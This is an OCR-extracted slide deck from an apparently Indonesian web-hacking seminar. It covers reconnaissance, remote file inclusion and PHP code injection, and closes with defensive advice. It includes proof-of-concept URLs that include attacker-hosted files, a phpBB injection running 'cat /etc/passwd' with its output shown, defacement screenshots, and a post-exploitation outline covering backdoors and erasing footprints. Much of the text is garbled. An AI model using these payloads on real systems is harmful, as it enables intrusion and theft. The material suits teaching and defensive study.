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to Zero

a journey to be r OOt

Ahmad Muammar W. K
http://www.google.com/search?q=y3dips
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the Details

theory

how 2 start , lookin for foods , we ““ drive in ** , what we choose, web hacking

survive
user, developer, administrator
simulation

from 33 to 0

discussion
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How to start

do we know

hacker cracker

hacking 1s not defacing

f.a.q newbies version 1.0 at

(http://ezine.echo.or.id/ezine8/ez-r08-y3dips-faqfn.txt)
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Find d target

footprinting , scanning , enumeration

need to find a machine
lazy admin
un-patch

default are fault

more n more ..... pe-de-ka-te with target

seminar
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N
Driving In

from open port

are open,  are open, - are open, ...

operating system vulnerability
windows xp sp 1, redhat 8.0

remote ?
application bug
authentication attack (bruteforcing, password guessing)
passive action (sniffing)

social engineering
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We Choose ?

well known services are open ?

ssh, smtp, https, pop3 .... also open

web server are open

should we do
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BRIAN

Web Hacking

hacking over http
hacking against web application
web browser attack

using http rules (method)
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Web Hacking

on the top of the layer
most of server in i-net running web server

how about Firewall ?
it’s a legal request

un-filtered ?

dynamically changed

run multiple application (voting, guestbook, e.t.c)

more friendly >< more easier




.y _ _s On The Top of Security
A [.]' l 1kasi —— Level Layer

<«

physical
policies
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Web Hacking

web browser ? (opera, firefox)
command line interface (msdos, bash)
programming language

reference : advisories




http request
(clear text/ ssl)

A

Http reply
User (HTML,
Javascript,
VBscript)

Firewall

*Apache
*IIS
*Tomcat
*Netscape

Web Server

Plugins
*Perl
*PHP
*JSP
*E.t.c

*MsSQL
*Postgre
*Mysql
*Oracle

Database Server

a
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Sumber: http:/ /www.webappsec.org W II K n‘ I Tli ! I

Web Hacking
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Remote

suatu jenis serangan yang dilakukan dengan meng-
include-kan halaman web lain kepada suatu situs/web

aplikasi.
index.php ( bug in $file variable)
http://victim.com/index.phprfile=readme.txt
http://victim.com/index.php?file=http://echo.or.id

seminar




Vulnerability:

]

inelude( $mainpath
e
<hZ2>R33 - cmafasthon.com</hZ>
<div class="rss-menu":>
< ?php
fsource =
"http://cmsfasthon. com/ feed/articles/res: . php?LangSet=c3’';
include (Swainpath . 'ras-reader.php'):

'survev.php')

i

Variabhles jmainpath are not properly sanitized.When register globals=on
and allow fopenurl=on ah attacker can exploit this wvulnerability with a
Simple php injection script.

Froof Of Concept:

e s s L e S R T

http://target.cow/ [cws fasthon path] /data/header.php?mwainpathshtep://attacker

oomfevwil.exe?
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httg nttp:/figeocities. comMy3d1l psA3mp3/in. txt?

_SERVERL"PHP_SELF"] Ihack-rme/inde:x. php
_SERVERI["PATH TRAMSLATED"] Pwariwwwwhack-rmelindex. php
_SERVER["argv"] Array

[
[@] == x=http: /fgeocities. com/y3dlps/ t3mp3/1in. txt?
|

_SERVER["argc"] 1

_EMNVI["PATH"] Jusrilocallbim:/usribin:bin
_ENVI"PWD"] i

_ENVI"LANG"] i

_EMV["SHLVL"] 1

_ENVI"_"] jusrisbinfapache2

PHP License

This program i1s free software; you can redistribute t andlor modify £ under the terms of the PHP License as published by
the PHP Group and included in the distribution in the file: LICEMNSE

This prograrm is distributed in the hope that £ will be useful, but WITHOUT ARY WARRANTY; without even the implied
warrarty of MERCHARNTABILITY or FITHNESS FOR A PARTICULAR PURPOSE.

If wou did not receive a copy of the PHF license, or have any questions about PHP licensing, please cortact
icenseim php.net.

/ Real site
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ot
Remote

suatu jenis serangan yang dilakukan dengan meng-include-kan

tag-tag bahasa pemrograman secara remote dan mengakibatkan
web yang “vulnerable” akan mengeksekusi “request” yang di
kirimkan.

viewtopic.php ( bug at highlight variable)
http://victim.com/viewtopic.php?t=48
http://victim.com/viewtopic.phprt=48&highlight="02527.
SHTTP_GET_VARS[a]).%2527&a=id;pwd;cat /etc/passwd




W “ & htkp:fiadvisories.echo.or.id) adviadv32-K-153-2006, kxt

Vulnerability:

o e e e e e i e e

require 'scart.pl':
require 'Shome/scart/ogi-hin/Z.0/scarcserver.ogi;

SHTML{TABZ} =
"$haseurl$cgiurlf?actiDn=sth_pagE&haae=haSE2.html&page=hruwse.txt";
§HTML{ TAB3} =
”$haseurl$cgiurlf?actiDn=sth_pagE&hase=hase3.html&page=3pecials.txt";
SHTML{EUTTONELR} = Shuttonbhar:

FHTML{VIEWCART: = ™{haseurlicgiurl?action=viewcart™;
SHTML{CHECECUT}: = "jsecureurlicgiurl?action=checkout";
$HTML{ TEACKE} = "ibaseurlicgiurl?action=show track";
§HTML{HELP} =

"$haseurl$cgiutlf?actiDn=sth_pagE&hase=hase.html&page=help.txt";

VariableaZhaseurl and Scgiurl>are not properly sanitized.Thiz can be used

Lo execute arbitrary commands.

Proof Of Concept:

At R it R R R o R R R 8 Rt

http://www.scartserver.com’ 2.0/ [client user name] /scart.cgi/ ?action=show pagesbase=hasel

Lhtml &page



@@ @E@ | 't=1&highlight=%2527.passthru( $HTTP_GET VARS[a]).%2527&a=id:pwd;cat%20/etc/passwd| » |n:11u:n:n;||e search |

@Hnme ' Top 10 v & Bookmarks ~ |“*\, Amazon.com search |“*\, Price Comparison s¢

[V Julnerable.net

La J .-( its & vulnerable forum !
p N g

. h 2IFaQ @search (& Memberlist 1= Usergroups ¥ Reqister
creating l communities

€ profile @Lng into check your private messages @'Lng in

uid=33(www-data) gid=33(www-data) groups=33(www-data) jvarfwww/phpBB204 root:x:0:0:root:/root:/bin/bash daemon:x1:1:daemon:/usr/sbin:/binfsh
bin:x: 2: 2:bin:/bin:/binfsh sys:x:3:3:sys:/dev:/bin/sh syncix4:65534:sync:/bin:/binfsync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:varfcache/
man:/bin/sh |p:x:7:7:lp: var/spool/lpd: /bin/sh mail:x:8: 8:mail: ivar/mail:/bin/sh news:x:9:9:news: fvar/spool/news:/bin/sh uucp:x10:10: uucp:var/spooljuucp:/
binfsh proxy::13:13:proxy:/bin:/bin/sh www-data:x: 33:33:www-data: varfwww: /bin/sh backup:x 34:34:backup: varfbackups:/bin/sh list:x:38:38:Mailing List
Manager:var/list:/bin/sh irc:x: 39:39:ircd: varfrunfircd: /binfsh gnats:x:41:41:Gnats Bug-Reporting System (admin):varflib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh postficx:100:103:: var/spool/postfix/binfalse syslogi105:105::/home/syslog:/binffalse
klog:x:106:106::/homefklog:fbinffalse y3dipsx1000:1000:y3dips keren,,,:/nomefy3dips:/bin/bash messagebus:x:101:110::var/run/dbus:/binfalse
cupsys:x102:107::/:/binffalse fetchmailie103:65534:: varfrun/fetchmail:/bin/sh halw111:111:Hardware abstraction layer,,.:fvarfrun/hal/binfalse
saned:x:113:113::/home/saned:/bin/false gdm:x104:114:Gnome Display Manager:var/lib/gdm:/binffalse sshd:x:107:65534::var/run/sshd: /binffalse
mysqlx:108:115:MySQL Server,,,:varflib/mysql:/bin/false ftp:x109:65534::/home/ftp:/binfalse hack-ment1001:100::/homefhack-me: uid=33(www-data)
gid=33(www-data) groups=33(www-data) fvarfwww/phpBB204 root:x0:0:root:/roct:/binfbash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:2:2:bin:fbin:/bin/
sh sys:x:3:3:sys:/dev:/binfsh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/varfcache/man:/bin/sh

|p:x: 7: 7:Ip:varfspoolfipd: fbin/sh mail:x: 8:8:mail: fvar/mail:/bin/sh news:x: 9:9:news: fvar/spool/news:/binfsh uucp:x:10:10:uucp:var/spoolfuucp:/bin/sh
proxy:x:13:13: prowy:fbin:/binfsh www-data:: 33: 33:www-data: fvariwww: /bin/sh backup:x:34:34:backup:fvar/backups:/bin/sh list:x:38:38:Mailing List
Manager:jvarflist:/bin/sh irc:x:39: 38:ircd: var/runfircd: fbinfsh gnats:x:41:41:Gnats Bug-Reporting System (admin):fvar/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/binfsh postfixx:100:103: var/spoolfpostfix/binfalse syslog105:105:/home/syslog:/bin/false
klog:106:106::/homefklog:/bin/false y3dipse1000:1000:y3dips keren,,,:fhomefy3dips:/binfbash messagebus:x101:110::var/run/dbus:/binfalse
cupsys:x:102:107::/:/binffalse fetchmail:103:65534:: varfrun/fetchmail:/bin/sh halix111:111:Hardware abstraction layer,,,:ivarfrun/hal:/bin/false
sanedix113:113::/homefsaned:/binffalse gdm:x:104:114:Gnome Display Manager:/var/lib/gdm:/bin/false sshd:x107:65534::var/run/sshd:/bin/false
mysqlx:108:115:MySQL Server,,,:varflib/mysql:/binffalse ftp:x109:65534:: /home/ftp:/binfalse hack-me:x:1001:100::/homefhack-me:

phpBB 2 insecurity ? Example

() newte _) f@]]ﬁﬂﬂr-, _) [Vlulnerable.net Forum Index -> Secure ?
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Web Hacking

defacing

private data stolen

system compromise
zombie ( ddos agent, botnet agent )

c.t.c




* yu[e-Police]: Kalimantan Barat - INDONESIA - Opera - |5 x|
| Fie Edit ‘View Mavigation Bookmarks Mal Chat Tools ‘Window Help - 8 X

| Newpage  [Ynobody ®

& [g:i 6 = hittp: ffkalbar.polri.go.id) * = |= | Google search > P 100% (x J (8] "

KALBAR.POLRI.GO.ID

INODONESIAN Folice Department

dalam masa pencarian kaiten #aikmel @irc.dal.net

6“‘9

Kegiatan metubah/merusak tampilan suatu website baik halaman utama (index)
ataupun halaman lain yang masih terkait dalam satu utl dengan
website tersebut (folder lain ; file lain)
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F:ﬂ A Foogle

m DIGITAL ATTACKS ARCHIVE: TODAY'S VERIFIED ATTACKS

Home
Digital WWarfare [ EHABLE FILTERS ]
Geopolitics ) ) )
Total attacks: 2202 of which 608 single ip and 1594 mass defacements
[Tzec Mews
[Tsec Advizories H- Homepage defacement
T T Legeni: M- hass defacement (click to view all defacements of this [F)
R - Redefacement (click to viewy all defacements ofthis site)
3607 ¥ - Special defacement (special defacements are impartant websites)
Digital Attacks Archive
v Attacks Archive TIME ATTACKER FLAGS DOkt AN 0= WIEWY
» Attacks Archive ¥ 18:20 aLpTurkTegin H oUrsaviors-ec.com Linu ye
+  Attackers Top List
¢+ Attackers Top List 3¢ 18:20 Redworm marleed.com/codecharge Linu ye
: :::E:TIE:;ﬁI::‘:t{iLn 18:20 understani H automovilismovirtual.com Lirn ye
Fone-H events 12:20 DeleTe B refagancpa.com/guestbook/  Linux A
L index.php
Publications :
Zone-H FriendsiPartners 18149 aLpTurkTegin IYersencanmp.com Inix ,5‘
Contact Us 1214 aLpTurkTegin H JSCMIM.org Linux ,.4‘
Search 18:14 AYYILMZ consules.orgiit Lirn e
Download Area 1214 PablinT7 [www.logiasite.tk] [ pyme.mendoza.gov.ar 0607 Linux ,.4‘
Ahaut this wehsite 18:19 PSYCH@ Hm dynaconsult.de Lirnus M
Forum 1818 yvusufislam M nawtsamawt.commnews.htm Win 2003 ye
LOGIN FORM 1818 PSYCH@ trtschka.com Linu A
Lsermarme 1818 X-cute H webbhawk.ueuo.com Linu A
1818 PSYCH@ skeetaboo.com/media Lir ye
Fasswiord
1818 DeleTe R cafe-mewmew.com/ Linu e
guesthookindex.php
[_|Remember me 18:18 SanalVargic H pragnet.org MacOSH A
-Lu:ugin
1817 PSYCH@ ratsastaja.netmain Linu A
Lost Password?
Mo account yet? Register 18:17 IMHOT3E coit.kru.ac.thiwebboard’ WMacOSH e

index.php

[«
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urvive ..
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S d4n user

always update ur system

use a firewall, antivirus, good backup facility, etc

using good password/pass phrase

be carefull of social engineering
carefully in using public facility ( cyber cafe )
secure login/Secure connection (https ; ssh)

update an information
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As a developer

secure programming

input validation

encryption in authentication
set error log to off
what u need? and what u can?

update an information
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As an admin

policy (strict restriction)
optimal setting on server

function restriction

php (passthru , system, exec) ; mssql (xp_cmdshell, xp_regdeletekey,
xp_msver); mysql (system).

update the system (security pacth/update)

update an information
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Simulation
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‘Just start it

pe-de-ka-te
web hacking process

, enumeration

escalating priveledge
-kmod
backdooring
bindtty,

cleaning our footprints
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Discussion




http:/ /kaos.echo.ot.id




